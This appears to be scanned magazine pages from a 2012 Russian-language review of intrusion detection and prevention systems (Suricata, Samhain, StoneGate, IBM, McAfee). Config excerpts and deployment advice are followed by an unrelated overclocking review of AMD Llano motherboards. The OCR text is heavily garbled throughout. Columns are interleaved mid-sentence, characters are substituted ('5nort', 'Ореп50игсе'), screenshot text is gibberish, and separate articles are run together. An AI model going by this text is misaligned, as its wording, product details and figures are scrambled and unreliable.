Новые доспехи для IТ-инфраструктуры

рующий запросы к РНР-приложениям,

Mod_5ecurity, защищающий IApache), и Gгееп5QL-FW, блокирующий опасные 5QLкоманды !см. статью « Последний рубеж» в ][_12_2010). Сетевые NID5 INetwork Intrusion Detection 5ystem) более уни­ версальны , что достигается благодаря те хно логии DPIIDeep Packet Inspection, глубокое инспектирование па кета). Они контролируют веб-сервер

не одно конкретное приложение, а весь проходящий трафик, на­

)

чиная с канального уровня.

Для некоторых пакетных фильтров также реализована возмож­ ность «заглянуть внутрь» И блокировать опасность . В качестве при'­

мера можно привести проекты OpenDPllwww.opendpi.org ) и Fwsnort Icipherdyne.org /fwsnort). Последний представляет собой про грамму для преобразования базы сигнатур 5пог! в эквивалентные правила

блокировки для

iptabIes.

Но изначально файервол заточен под

другие задачи, да и те хноло гия

DPI

« накладна » для движка , поэтому

функции по обработке дополнительных данны х ограничены блоки­

ровкой или маркированием строго определенных протоколов .

всего лишь помечает

1D5 lalert) все подоэрительные действия . Чтобы

з блокировать атакующий хост, администратор самостоятельно перенастраиваетбрандмауэр во время просмотрастатистики. Ес те­ с вен но, ни о каком реагировании в реальном времени здесь речи

идет. Именно поэтому сегодня более интересны IP5 IIntrusion revention 5ystem, система предотвращения атак). Они основаны 1D5 и могут самостоятельно перестраивать пакетный фильтр и прерывать сеанс, отсылая ТСР R5T. В зависимости от принципа боты , IP5 может устанавливаться «в разрыв » или использовать ркалирование трафика 15PAN), получаемого с нескольки х сенсоов. Например, в разрыв устанавливается Hogwash Light BR Ihlbr. .net), которая работает на втором уровне 051 . Такая система может е иметь IP-аАреса, а значит, остается невидимой для взломщика .

В обычной жизни дверь не только запирают на замок, но и до ­ олнительно защищают, оставляя возле нее охранника, ведь

лько в зтом случае можно быть уверенным в безопасности. В

качестве такого секьюрити выступают хос т о вые

IT IP5 !см. « Новый

боронительный рубеж » в ][_08_2009), защищающие локальную истему от вирусов, руткитов И взлома. Их часто путают с антиви­

усами, имеющими модуль проактивной защиты . Но

HIP5,

как пра­

ила, не используют сигнатуры, а значит, не требуют постоянного

бновления баз. Они контролируют гораздо больше системных араметрав: процессы, целостность системных файлов и реестра, аписи в журналах и многое другое.

Чтобы полностью владеть ситуацией, необходимо контролиро­ ать и сопоставлять события как на сетевом уровне, так и на ура в ­ е хоста. Для этой цели были созданы гибридные

1D5,

которые

оллектят данные из разны х источников Iподобные системы

асто относят к 51М -

Srп1"1у'.,..

о

5ecurity Information Management) . Среди

~

254

48

Suricata можно использовать все наработки к Snort, например Snorby

ХАКЕР

02/157/2012

127


SYN\ACK

Ореп50игсе-проектов интересен

Prelude Hybrid 105, собирающий 105/IP5 и пони мающий

данные практически со всех Ореп50игсе

формат журналов разных приложений [поддержка этой системы

ОБЪЕДИНЕННЫЙ КОНТРОЛЬ УГРОЗ

приостановлена несколько лет назад, но собранные пакеты еще

можно найти в репозитариях Linux и *В50). В разнообразии предлагаемых решений может запутаться даже профи. Сегодня мы познакомимся с наиболее яркими представите­

лями 1D5/IР5-систем.

позтому узкоспециализированные системы уже не актуальны,

Необходимо использовать комплексное многофункциональное

решение, включающее все компоненты защиты: файервол,

i ..Ш,JtiМ,*,

IPS,

Разработчик: 015F (Ореп Information 5eeurity FoundationJ. Web: www.openinfoseefoundation.orq . Платформа: программная.

ОС: Linux, *В5О, Мае 05 Х, 50laris, Windows/Cygwin. Лицензия:

Современный интернет несет огромное количество угроз,

GNU GPL.

Бета-версия этой

1D5/IP5 была представлена на суд обществен­

ности в январе 2010-го после трех лет разработок. Одна из главных целей проекта

-

создание и обкатка совершенно новых технологий

обнаружения атак. За

5uricata

стоит объединение

OI5F,

IDS/

€lНТИВИРУС, прокси-сервер, контентный фильтр и аНТИЕпам­

фильтр. Такие устройства получили название UTM (Unilied Threat Management, объединенный контроль угроз). В качестве примеров UTM можно привести Trend Micro Оеер Security (ПL. trendmicro.com ), Kerio Control (ker io.ru ), Sonicwall Network Security (sonicwall .com ), FortiGate Network Security Platlorms and Appliances (fortine t .com ) или специализированные дистрибутивы Linux, такие как Untangle Gateway, IPCop Firewall, рlSепsе (читай их обзор в статье «Сетевые регулировщики», ][_01_2010).

которое

пользуется поддержкой серьезных партнеров, включая ребят из

U5 Oepartment 01 Homeland 5ecurity. Актуальным на сегодня является релиз под номером 1.1, вышедший в ноябре 2011 года. Код проекта распространяется под лицензией GPLv2, но финансовые партнеры

и парсит протоколы

[IP, ТСР, UOP, ICMP, НТТР, TL5, ПР, 5МВ, 5МТР

и 5СТР), поэтому в правилах необязательно привязываться к номеру

имеют доступ к не GРL-версии движка, которую они могут использо­

порта [как зто делает

вать в своих продуктах. Для достижения максимального результата

нужного протокола.

5nort), достаточно лишь задать действие для Ivan Ristic, автор Mod_security, создал специ­ НТР, при меняемую в 5uricata для анализа НТТР­

к работе привлекается сообщество, что позволяет достигнуть очень

альную библиотеку

высокого темпа разработки . Например, по сравнению с предыдущей

трафика. Разработчики прежде всего стремятся добиться точности

версией

1.0, объем кода в 1.1 вырос на 70%. Некоторые современные 105 с длинной историей, в том числе и 5nort, не совсем эффективно

обнаружения и повышения скорости проверки правил.

используют многопроцессорные/многоядерные системы, что при во­

стандартные утилиты для их анализа. Собственно, все бэк-энды,

дит к проблемам при обработке большого объема данных.

интерфейсы и анализаторы, написанные для 5пог! [Barnyard, 5nortsnarf, 5guil и т. д.), без доработок работают и с 5uricata. Это

5uricata

изначально работает в многопоточном режиме. Тесты показывают,

что она шестикратно превосходит 5пог! в скорости [на системе с 24 CPU и 128 ГБ ОЗУ) . При сборке с параметром '--епаbIе-сudа' появляется возможность аппаратного ускорения на стороне

Изначально поддерживается

Вывод результатов унифицирован, поэтому можно использовать

тоже большой плюс. Обмен по НТТР подробно журналируется в файле стандартного формата

Apache.

Основу механизма детектирования в

GPU.

5uricata

составляют пра­

вила [rules). Здесь разработчики не стали пока ничего изобретать,

IPv6 [в 5пог! активируется ключом

'--епаbIе-iрv6'), для перехвата трафика используются стандартные

а позволили подключать рулсеты, созданные для других проектов:

хвата , декодирования, анализа или обработки пакетов. Блокировка

50urcefire VRT [можно обновлять через Oinkmaster), Ореп50игсе Emerging Threats [hemerg ingthreats.net) и Emerging Threats Рго [eme rgi ngthrea tsg ro.co m). В первых релизах поддержка была лишь

про изводится средствами штатного пакетного фильтра ОС [в Linux

частичной, и движок не распознавал и не загружал некоторые

для активации режима

правила, но сейчас эта проблема решена. Реализован и собствен­

интерфейсы:

LibPcap, NFQueue, IPFRing, IPFW.

Вообще, модульная

компоновка позволяет быстро подключить нужный элемент для за­

IP5 необходимо установить библиотеки netlink-queue и libnfnetlink). Движок автоматически определяет

ный формат

rules,

внешне напоминающий снортовский. Правило

состоит из трех компонентов: действие

[pass, drop, reject или alert),

заголовок [IР/порт источника и назначения) и описание [что ис­ 'ВМ

Internet Securlty Systems Ahead of the threat. T"

SIg1" 1155 WМCtМde I 00Wr*N!IdS I fflesIDf Rel«lI"-'s 1С8'ееР.;

кать). В настройках используются переменные [механизм flowint),

CJ

позволяющие, например, создавать счетчики. При этом информа­

~se.uJ

цию из потока можно сохранять для последующего использования.

Такой подход, при меняемый для отслеживания попыток подбора Current Intemet

Тhreal

пароля, более эффективен, чем используемый в 5пог! метод, кото­

Level

рый оперирует пороговым значением срабатывания. Планируется

создание механизма

IP Reputation [вроде 5ensorBase Cisco, см. Cisco» в JC07_2011). отмечу, что 5uricata - это более быстрый движок,

статью «Потрогай Резюмируя, RegUS"'o'Ig.tance

OrdIrwyactМtyС0ЩJf'0fТl5esllf1~ntlwOO(mirJ.te5lDhotrslll!«

nt5tbeingcorntCtedtolhtlrUm8l.

MtJ/I:lpll VulnerabUItI. , In А secи1ty reseaгcherha!

ЗС дDА Sy$lIm. 1.1W&i1e<114 sea.nty

acмsмм IOf~Мj&Stn SЦ>eМ~

Ccnrol8'ld Data AoquiSlbon (SCЮA) sys/8ml from 8 WndI:n Inct.dng Sc:adaPro 81d syl;t8ms

med8 ьу

RocIМl

Мultlpll VuheПlbllltl..

1n SCAOA Sy$ltm.

WeU'g8~jIМWedWl"lnc1.I5Inllleot*Dl5ys8m5(ICSI.SC.IOrд~.n:lL.4ilibe,1o

eк8'nII"I8"'~shedЮtsorr.s.,,*Гlf1fr8St'UCtl.n.n:lconaI'fIIIh"~ P8l'k:l.Мrly

Int!ti 01 rec«teo.wis In h newsamlht .st.nceofProol' ofCor1Ce1tcode'll'll'tlhese DSOl'1eS. operэD:Jrs shotjd t'JC8f'CIW 1I'ICfU:Wd~. 11'1 montonng

IhI!r S;YSНfМ

SCДDA.

Issueswere~lпаrecenlXFТгerюsPlA:*с8bOn

SURICATA -

ЭТО БОЛЕЕ

БblСТРblЙ ДВИЖОК, ЧЕМ SNORT, ПОЛНОСТЬЮ СОВМЕСТИМblЙ С НИМ ПО ПРАВИЛАМ И

в продуктах

128

IBM задействованы наработки онлайн-сервиса GTOC и X-Force

БЭК-ЭНДАМ ХАКЕР

02/157/2012


Новые доспехи для П-инфраструктуры

Terminal .!!!аЙл

Правка

~ид

ПQИСК

Iерминал

ВJY\адки

~правка

~

Terminal GNU

папа

Файл

2.2.6

-

+

х

I

mc [root@grinder]:/Var/cache/apt/archives

/etc/samhaln/samhalnrc

## ## Add ог subtract tests from the policies ## - if you want to change their definitions, ## you need to do that before using the policies ## # RedefReadOnly = (по default) # RedefAttributes=(no default) Ш RedefLogFiles=(no default) # RedefGrowingLogFiles=(no default) # RedefIgnoreAll=(no default) # RedefIgnoreNone=(no default) # RedefUser0=(no default) # RedefUserl=(no default) [Attributes] ## ## for these files, only changes in permissions and ownership аге checked ## file=/etc/mtab file=/etc/ssh random seed file=/etc/asound.conf file=/etc/resolv.conf file=/etc/localtime file=/etc/ioctl.save file=/etc/passwd.backup file=/etc/shadow.backup file=/etc/postfix/prng exch file=/etc/adjtime file=/etc/network/run/ifstate file=/etc/lvm/.cache file=/etc/ld . so.cache #

Е Записать Выровнять

rв Помощь

IJ

Е Выхо"

ra

в ЧитФайл Поиск

ID

I!J

Вырезать ОтмВырезк

Ii ТекПозиц Ii Словарь

в конфиге Samhain указывается, какие файлы необходимо контролировать

чем 5nort, полностью совместимый с ним по правилам и бэк-эндам и способный проверять большие сетевые потоки. Единственный недостаток проекта

-

скудная документация, хотя опытному ад­

мину ничего не стоит разобраться с настройками. В репозиториях

Программа может быть запущена в невидимом режиме [задей­ ствуется модуль ядра), когда процессы ядра невозможно обнаружить в памяти.

5amhain также поддерживает мониторинг нескольких

узлов, работающих под управлением разных ОС, с регистрацией всех

дистрибутивов уже появились пакеты для установки, а на сайте

событий в одной точке. При этом установленные на удаленных узлах

проекта доступны внятные инструкции по самостоятельной сборке

агенты отсылают всю собранную информацию [ТСР, АЕ5, подпись)

из исходников. Есть и готовый дистрибутив 5mooth-sec [bailey.st! bIog !smooth-sес ), построенный на базе 5uricata .

по зашифрованному каналу на сервер [yule), который сохраняет ее

в БД [My5QL, Postgre5QL, Oracle). Кроме того, сервер отвечает за про­ верку статуса клиентских систем, распространение обновлений

1.i41i1t.iill

и конфигурационных файлов . Реализовано несколько вариантов для

Разработчик: Samhain Labs. Web: www.la-samhna .de/samhain.

оповещений и отсылки собранной информации: e-mail [почта подпи­

Реализация:программная.

Nagios, консоль и др. Управление можно осуществлять с помощью

ОС: Unix, Linux, Windows/Cygwin.

нескольких администраторов с четко установленными ролями .

Лицензия:

Пакет доступен в репозитариях практически всех дистрибути­

GNU GPL

Выпускаемый под Ореп50uгсе-лицензией к хостовым

сывается во избежание подделки), syslog, лог-файл [подписывается),

5amhain относится

105, защищающим отдельный компьютер . Он использу­

вов Linux, на сайте проекта есть описание, как установить 5amhain под Windows.

ет несколько методов анализа, позволяющих полностью охватить

все события, происходящие в системе:

• • • •

STONEGATE [NTRUSION PREVENTION SYSTEM

создание при первом запуске базы данных сигнатур важных

Разработчик: StoneSoft Corporation.

файлов и ее сравнение в дальнейшем с «живой» системой;

Web: www.stonesoft.com.

мониторинг и анализ записей в журналах;

Реализация: программно-аппаратная, образ VMware.

контроль входа/выхода в систему;

ОС: 32/64-битные Windows 2k3/Vista/7/2k8R2, Linux (CentOS,

мониторингподключений коткрытым сетевым портам;

RHEL,SLES).

контроль файлов с установленным 5UID и скрытых процессав.

Лицензия: коммерческая.

ХАКЕР

02/157/2012

129


SYN\ACK

Э т о реше н ие р азрабо т ано финской ком п а н ией, ко т о р ая за ­

Management Server, Log Serve r

и

Ma nage ment Clie nt. Консол ь IPS и соз давать н о вы е

нимается соз д а н ием пр о д ук т ов корпо р атив н ого к л асса в сфере

поз в ол я е т н е то л ько н ас тр аи в ать рабо т у

сетевой безо п ас н ости . В нем р еа л изованы все в ос тр ебо ванны е

пра в и л а и по л и т ики, н о и п ро из в о д ить мо нит о рин г И пр осма тр и ­

фу н к ц ии:

за щ ита от

и Oday - атак, веб-фил ыр а ц ия,

л ожения IP 2P, 1 М и п ро ч ееl. Д ля веб-филы р а ц ии ис п ол ь зуе т ся

Java, поэ т о м у д осту пны в е р сии Wind ows и Linu x. Stone Gate IPS п ос т а в ляе т ся к а к в ви д е аппар а тно го ко м­ пл екса, так и в вид е образа VMwa re. П ос л е дн ий пр е дн аз н ачен

постоянно обновляемая база сай т ов, разделе н ных н а н есколько

д ля установки н а собстве н ном оборуд ова н ии и л и в ви р т уа л ьно й

IP S,

00 05 -

п о дд ержка за ш и ф ро ва н н о г о т р а ф и ка и т. д . С п ом ощью

IP S мож н о

заб л оки р оват ь в ирус,

spyware,

ва т ь журн алы . Она н а п иса н а н а

Sto neGate

о пр е д еленные п р и­

дл я

категорий . Особое внимание уделяется защите от обхода сис т ем

инфраструк т у р е. И кста т и , в отли ч ие о т соз д а т е л ей м н о г их п о­

безопасности АЕТ IAdvanced Evasion Techniquesl . Техноло г ия

добftых ре ш ений, ком п ания-разрабо т чик д ае т скача т ь т еет овую

Transparent Access Control

позволяет разбить корпоративную

версию образа.

сеть на несколько вир т уальных се г ментов без изменения реаль­ ной топологии и устано в ить для каждого из них индивидуальные

~

политики безо п асности . П олитики проверки трафика настраи­

IBM _ Web: www.ibm.com/ru . Разработчик:

ваются при п омощи ш аб л онов, со д ержащих типовые п рави л а .

Эти политики создаются в офлаЙн - режиме. А д министратор п роверяет соз д а н ные п о л и т ики и за г ружает их на у д ален н ые

Реализация : программно-аппаратная, образ VMwaгe .

уз лы

Лицензия : коммерческая.

IP S. П охожие

собы т ия в

Sto neGate IPS

обраба тыв аю т с я

п о прин ц и п у, ис п о ль зуемому в S I М/S IЕ М-системах, ч то суще­

Система п р е д о твр а щ ения атак, р аз р а б ота нн ая

IB M,

ис п о ль ­

ственно обле г чает анализ. Н есколько устройств л е г ко мож н о

зуе т запа т енто в а нн ую тех н ологию а н а л иза п ро т око л о в , кото р а я

объедини т ь в класте р и и нт е г рировать с др угими ре ш е н иями

обеспечивает пр е в е н ти в ную за щ и т у в том ч ис л е и о т Оd ау-у гр оз .

StoneSoft - StoneGate Firewall!VPN и StoneGate SS L VPN. Упра в ­

Как и у всех п ро д укто в серии

ление при этом обес п ечивае т ся из единой консоли у п р ав ления

мо д уль анализа п ро т околов -

IStопеGаtе

сочетающий в ,ебе традиционный сигна т у р н ы й м ето д об н аруже-

Management Centerl, состоящей из трех компонентов :

IBM Secur ity, его осно в ой является РАМ IProtoco l Analysis Modu lel,

Terminal ~айл

~YAML

Правка

!!ид

ПQИСК

Iерминал

- $ cat

~правка

/еtс/suгiсаtа/suгiсаtа-dеЬiап.уаm1

1.1

~ ~

Number of packets a110wed to Ье processed simu1taneous1y. Defau1t is а conservative 50. а higher number wi11 make sure CPU's/CPU cores wi11 Ье ~ тоге easi1y kept busy, but wi11 negative1y impact caching. ~ ~ If you аге using the CUDA pattern matcher (b2g cuda be1ow), different ru1es ~ арр1у. In that case try something 1ike 4000 ог-тоге. This is because the CUDA ~ pattern matcher scans many packets in рага11е1. ~max-pending-packets: 50 ~ ~

Set the order of a1erts bassed оп actions The defau1t order is pass, drop, reject, a1ert action-order: - pass - drop - rej ect - a1ert

~ The defau1t logging directory.

Any log ог output fi1e wi11 Ье а fu11 path name. This сап Ье # overridden with the -1 command 1ine parameter. defau1t - 1og - dir: /var/1og/suricata

# p1aced here if its not specified with

# Configure the type of a1ert (and other) logging you wou1d 1ike.

outputs: Кон ф игур аци о нн ы й фа й л

130

Suricata п о няте н те м,

к то возился с настро й ками

Snort

ХАКЕР

02/157/20 12


Новые доспехи для IТ-инфраструктуры

ния атак [Ргоvепtiа ОрепSigпаtuге) и поведенческий анализатор. При этом РАМ различает

218

протоколов уровня приложений

[атаки через VoIP, RPC, НТТР и т. д.) И такие форматы данных, как ООС,

XLS, POF, ANI, JPG,

чтобы предугадывать, куда может

быть внедрен вредоносный код . Для анализа трафика исполь­ зуется более

3000

алгоритмов,

200

из них «отлавливают»

OoS .

Функции межсетевого экрана позволяют разрешить доступ

только по определенным портам и

IP,

исключая необходимость

привлечения дополнительного устройства. Технология

Patch

Virtual

блокирует вирусы на этапе распространения и защищает

A-ccess Rights

компьютеры до установки обновления, устраняющего критиче­ скую уязвимость. При необходимости администратор сам может

~ Alert Configuration

создать и использовать сигнатуру. Модуль контроля приложений

1···· ~ Alert Chains

позволяет управлять Р2Р, 1М, ActiveX-элементами, средствами

VPN

и т. д. И при необходимости блокировать их. Реализован мо­

дуль

OLP,

'

отслеживающий попытки передачи конфиденциаль ­

ной информации и перемещения данных в защищаемой сети, что позволяет оценивать риски и блокировать утечку. По умолчанию

распознается восемь типов данных [номера кредиток, телефо­ ны ... ), остальную специфическую для организации информацию админ задает самостоятельно при помощи регулярных выраже­

ний . В настоящее время большая часть уязвимостей приходится на веб-приложения, поэтому в продукт модуль WеЬ Аррliсаtiоп

Security,

входит специальный

iпjесtiоп,

SQL

hijасkiпg, РНР filе-iпсludегs,

CSRF

LOAP

iпjесtiоп,

-

StoneGate IPS

MCAFEE NETWORK

SECURIТY

PLATFORM 7

Разработчик:

McAfee Inc. Web: www.mcafee.com. Реализация: программно-аппаратная. IпtгuShiеld

IPS,

выпускавшийся компанией

McAfee,

в свое время

был одним из популярных IPS-решениЙ. Теперь на его основе раз­

и т . д.

Предусмотрено несколько вариантов действий при обнару­ жении атаки

КОНСОЛЬ управления

Лицензия: коммерческая.

который защищает системы

от распространенных видов атак:

XSS, JSON

IBM

~

L:=.i

блокировка хоста, отправка предупреждения,

запись трафика атаки [в файл, совместимый с tcpdump), поме­

работан McAfee Network Security Platform 7[NSP) . В дополнение ко всем функциями классического

NIPS

новый продукт п.олучил

инструменты для анализа па кетов, передаваемых по внутренней

щение узла в карантин, выполнение настраиваемого пользова­

корпоративной сети, что помогает обнаруживать зловредный

телем действия и некоторые другие. Политики прописываются

трафик, инициируемый зараженными компами. В

вплоть до каждого порта, IP-аАреса или зоны

пользуется технология

Availability

VLAN.

Режим

Hi gh

IPS,

McAfee

имеющихся в сети, трафик пойдет

миру, и оценивает репутацию всех проходящих уникальных фай­

через другое, а установленные соединения не прервутся. Все

лов,

подсистемы внутри железки

обнаруживать трафик ботнета, выявлять Оdау-угрозы и

охлаждения

-

-

RAIO,

блок питания, вентилятор

дублированы . Настройка, производящаяся при

помощи веб-консоли, максимально проста [курсы обучения

IBM Security SiteProtector,

IP-

и URL-аАресов и протоколов. Благодаря этому

NSP может OOoS-

атаки, а такой широкий охват позволяет свести к нулю вероятность ложного срабатывания.

длятся всего один день). При наличии нескольких устройств обычно приобретается

ис­

Iпtеlligепсе, которая собирает

информацию с сотен тысяч датчиков, установленных по всему

гарантирует, что в случае выхода из строя одного

из нескольких устройств

Global Threat

Не каждая

который обе­

IDS/IPS может работать в среде виртуальных машин, NSP

ведь весь обмен происходит по внутренним интерфейсам. Но

спечивает централизованное управление, выполняет анализ

не испытывает проблем с этим, он умеет анализировать трафик

логов и создает отчеты.

между

VM,

а также между

VM

и физическим хостом . Для наблюде­

ния за узлами используется агентский модуль от компании

Systems,

который собирает информацию о трафике в

VM

Reflex

и передает

ее в физическую среду для анализа.

ГДЕ РАЗВЕРНУТЬ

Движок различает более

IDS/IPS?

на седьмом уровне

OSI.

1100 приложений,

работающих

Он просматривает трафик при помощи ме­

ханизма контент-анализа и предоставляет простые инструменты управления.

Чтобы максимально эффективно использовать

IDS/IPS,

нужно

Кроме Ргеvепtiоп

придерживаться следующих рекомендаций:

NIPS, McAfee выпускает и хостовую IPS - Host Iпtгusiоп for Oesktop, которая обеспечивает комплексную защиту

Систему необходимо разворачивать на входе защищаемой сети

ПК, используя такие методы детектирования угроз, как анализ

или подсети и обычно за межсетевым зкраном (нет смысла

поведения и сигнатур, контроль состояния соединений с помощью

контролировать трафик, который будет блокирован) -так мы

межсетевого экрана, оценка репутации для блокирования атак.

снизим нагрузку. В некоторых случаях датчики устанавливают

ЗАКЛЮЧЕНИЕ

и внутри сегмента.

Перед активацией функции

IP5 следует

Победителей определять не будем. Выбор в каждом конкретном

некоторое время

погонять систему в режиме, не блокирующем

ID5.

В дальнейшем

случае зависит от бюджета, топологии сети, требуемых функций

потребуется периодически корректировать правила.

защиты, желания админа возиться с настройками и, конечно же,

Большинство настроек

рисков. Коммерческие решения получают поддержку и снабжаются

IP5 установлены

с расчетом

на типичные сети. В определных случаях они могут оказаться незффективными, позтому необходимо обязательно указать

IP

сертификатами, что позволяет использовать эти решения в орга­ низациях, занимающихся в том числе обработкой персональных

внутренних подсетей и используемые приложения (порты). Это

данных Распространяемый по ОрепSоuгсе-лицензии Sпогt пре­

поможет железке лучше понять, с чем она имеет дело .

красно документирован, имеет достаточно большую базу и хоро­

Если IРS-система устанавливается «в разрыв», необходимо

ший послужной список, чтобрl быть востребованным у сисадминов.

контролировать ее работоспособность, иначе выход устройства

Совместимый с ним

из строя может запросто парализовать всю сеть.

шим трафиком и, главное, абсолютно бесплатен.:::И::

ХАКЕР

02/157/2012

Suricata

вполне может защитить сеть с боль­

131


FERRUM

Сергей Пnотников

~

я ТВОИ

SA DYBRIDGE ТРУБА :

:

:

. .' 1,'

", ~ 'j ~=- ~~~ '. ----.--/ / ~--

, - '

'

~

,-,-

"

,

,"?),/;::

' Cr --------

-~

,

"

11'

.. , . , ' ,

Ассимиляция! Пожалуй , этим заумным

словом можно охарактеризовать потуги

Intel

и АМD выпустить кремниевое устройство «всё

Особняком в нашем тесте стоит материн-

ская плата

ASUS F1A75-V PRO.

Компания­

производитель не постеснялась и буквально

В одном». И если у первых графика, как всег­

навешала на свое устройство всякого рода

да, хромает на обе ноги, то у «к расных » кишка

фенечки: от абсолютно бесполезных до реаль­

тонка тягаться со своим конкурентом в сфере

но крутых! Чуть забегая вперед, скажем,ЧТО

xB6-приложениЙ .

для создания достаточно производительного

В сегодняшнем тесте ты познакомишься с достаточно дорогими моделями, пропа­ гандирующими не только оверклокинг, но и,

десктопа на «маме» лучше не экономить.

О каких же деньгах тут идет речь? Если

например, массивы видеокарт. В связке

мент написания статьи топовый камень АМD

АВ-ЗВ50 стоил

4000

и полноценный дуэт графических адаптеров,

памяти объемом

10 том ,

Правда, в плане

«об ычной » производительности, то есть в xB6-приложениях, АМD

Sandy Bridge . И

Llano

уступает

Intel

тем не менее, хороший раз­

гонный потенциал позволяет собрать на базе

2,9

ГГц

NINJАЗ

Оперативная память : Corsair CMGTX71iJ2400 МГц, 1х4 Гб SSD: Kingston SVP100ES2/64G,

64Гб Бnок питания: HIPER ТУРЕ К1000, 1000 Вт ОС : Windows 7 Максимальная

рублей . Столько же стоит

4 Гб

и частотой

2400

МГц

почему мы рекомендуем память с часто­ той именно 2400 МГц, читай далееl придется выложить порядка

7000

комплектующие

по вкусу_ В итоге за связку

-

рублей. Остальные

процессор-плата-память придется отдать

процессара АМD АВ/А6 шуструю игровую

порядка

машинку_

много за топое железо!

132

Scythe

материнская плата. За набор оперативной

объединенных в

CrossFireX.

Купер :

верить ресурсу « Яндекс Маркет», то на мо­

сАМО

Llano можно использовать технологию АМD Dual' Graphics, а в некоторых случаях

Процессор: АмD А8-З850,

15000 рублей.

Согласись, не так уж и

ХАКЕР

02/157/2012


Позови

NAS

к себе

ASROCKA75 PRO' так , мы начинаем . Первой по алфавиту идет материнская пла­ та

ASRock

А75 Рг04. Перед нами сразу же предстает топовое

устройство! Об этом красноречиво свидетельствует наличие

та к и х оверклокерских фишек, как кнопки эапуска/перезагрузки си ­ стемы и обнуления настроек

BIOS. Вообще ,

на базе « четвертой » никто

не помешает тебе собрать достаточно производительный десктоп. Правда, с разгоном у нас дела как-то не заладились. Все попытки поднять шину выше отметки

105

МГцзакончились « выпадением » 5АТА­

контроллера. В итоге система вроде бы работала стабильно [по крайней мере в B1051, но зайти в операционную систему не получалось . Попытки разогнать « камень » И память с помощью функции

Mode также

~

EZ ОС

провалились . Для тех, кто не в курсе, поясним: теорети­

чески достаточно клацнуть в

B105'e всего один раз, чтобы разогнать CPU до 3300/3400/3500/3600 МГц и « мозги » до 2000/2200/2500 МГц. Но не тут-то было! Не сра-бо-та-ло! Перепрошивка BIOS до версии 1.80 никаки х дивидендов не принесла . В общем , очевидно, что прошивка

A5Rock

А75 Рг04 оставляет желать лучшего. Остается лишь надеяться ,

что со временем эта проблема будет решена.

ASROCKA75 EXТREME6 ак говорится, первый блин комом. Посмотрим, что удастся выжать из

A5Rock А75 Extreme6. Вообще , линейка Extreme6

является гордостью тайваньской компании . Внедалеком прошлом мы уже изучали материнские платы на базе чипсета Iпtеl

Р67

Express.

Настало время АМО. Прошли те времена, когда с

A5Rock

ассоциировались исключительно бюджетные решения . Но стопового

...

продукта и спрос соответствующий . Материнская плата A5Ro ck А75 Extreme6 в своем роде уникальна: на текстолите распаяно сразу три порта PCI Express х 16 . Правда, в случае использования массива видео­ карт CrossFireX работать они будут по схеме х8 + х8 + х 4. В плане разгона A5Rock А75 Extreme6 оказалась пошустрее « прош ­ ки » . Однако скажем сразу: нам не удалось достичь даже покаэателей ч уть выше среднего . После увеличения частоты шины до

112 МГц 112 х 29 = 3248 МГц, а память-112 х 18,66=2089,92 Mode также оказалась абсолютно бесполезной .

процессор с частотой

МГц . Функция

EZ ОС

Плюс на базе АМО Llапо можно собрать медиа­

кластер АМО Llапо буквально преображается

фики, но В с реде

центр любой сложности . В общем, с АМО Llапо

и из гадкого утенка в великолепного лебедя .

чает не меньше

не соскучишься

Не так давно компания

-

он предоставляет обширный

GIGABYTE

представила

DirectX 9. « Отлично » - озна­ 25 FP5. При этом выставляли с ь

максимальные множители памяти и процессо ­

простор для творчества.

ролик, в котором было покаэано, как на маши ­

ра. Для более полного анализа мы во с пользо ­

не с процессором АМО А8-3850, разогнанным

вались финским бенчмарком

МЕТОДИКА ТЕСТИРОВАНИЯ

до

и выбрали режим те с та регfогmап с е. Наконец ,

Опять возвращаемся к разгону. Удивительно

Повторим, в

приятно осознавать, что оверклокинг платы су­

примеру инженеров тайваньской компании

мы снижали множители «камня »

щественно повышает производительность всей

и установить рамку. Оценку « отлично » получали

и определяли максимальный потолок ча с тоты

системы. За счет набора множителей процессо­

те платы, при использовании которы х удава­

шины у матерински х плат, которого удало с ь до­

ра и оперативной памяти разгон « мам » по шине

лось спокойно играть в

стичь при воздушном охлаждении. Все резуль ­

дают колоссальный эффект. Так , графический

1920 х 1080 точек

ХАКЕР

02/157/201 2

3600

МГц, преспокойно играют в

Crysis 2! Мы

Crysis 2.

решили последовать

Crysis 2 с

раэрешением

и максимальном качестве гра-

3DMark Vапtаgе

после тестирования на игровы х прило же ния х И памяти

таты эаносились в сводные диаграммы .

1ЗЗ


FERRUM

ASUS F1A75-1 DELUXE

m

нтересный концепт материнской платы представила компа­

ния

ASUS.

Устройство

F1A75-1 Deluxe

выполнено в формфак­

торе Мiпi-IТХ и при этом оснащено полноценным слотом

Express

PCI

х16 . Из-за габаритов остальным слотам места не нашлось .

Но горевать не стоит. Слово

Deluxe

в названии текстолитового гад жета

говорит о поддержке беспроводных технологий В общем,

Wi-Fi

и

Bluetooth .

идеальный вариант для тех, кто хочет

ASUS F1A75-1 Deluxe -

собрать НТРС в микроскопическом корпусе. Удивительное рядом: эту плату оснастили вполне боеспособными функциями разгона. Хорошо

знакомый UEFI BIOS великолепно оптимизирован. Благодаря этому наша крошка выдала на-гора

118

гона процессор заработал на частоте на частоте

118 х 18,66 = 2201,88

~

МГц по шине. После такого раз-

118 х 29 = 3422

МГц, а память-

МГц. Большего достичь в любом случае

не удастся. Хо тя бы потому, что на процессор не получится установить

мощный габаритный кулер. Он либо не влезет, либо перекроет опера­ тивную память и слот

как, например,

PCI Express х 16. е другой стороны, такой кулер, Scythe Big Shuгikеп, позволит одновременно охлаж-

дать и процессор, и память, и подсистему питания материнской платы.

ASUS F1A75-V PRO

m

атеринская плата

ASUS F1A75-V PRO

уже гостила в нашей

тестовой лаборатории. Не так давно в рубрике « Разгон » именно она служила путеводной звездой во время пробного

разгона АМD

Llano.

И, надо при знаться, показала себя только с лучшей

стороны! В этот раз нам удалось стабильно работать на частоте шины

140

МГц. При такой частоте тактового генератора процессор может

работать с частотой

18,66=2612,4

140 х 29 = 4060

МГц, а память

-

с частотой

140 х

МГц. Но , к сожалению, в первом случае воздушная систе­

ма охлаждения не справилась с разгоряченным «камнем». В случае

с ОЗУ нужно еще постараться найти такой кит. В итоге нам пришлось

...

снизить частоту шины и проходить тесты при меньших показателях «камня» И памяти. Тем не менее, рубеж

25 FPS

в

Crysis 2 был

пройден!

Как мы и обещали, плата получает оценку «отлично» . Для тех, кому подобная прыть от АМD

Llano

покажется недо­

статочной, предусмотрена поддержка двух слотов

pel Express

х16,

работающих согласно схеме х16 + х4. Также ты можешь рассчитывать на парочку

PCI Express х1

и трио

pel . Эквивалентный функционал SATA- и USВ-портов послед­ материнскую плату ASUS F1A75-V PRO

